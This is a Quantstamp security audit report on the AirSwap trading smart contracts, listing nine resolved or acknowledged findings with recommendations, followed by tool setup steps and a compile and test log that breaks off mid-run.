February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling 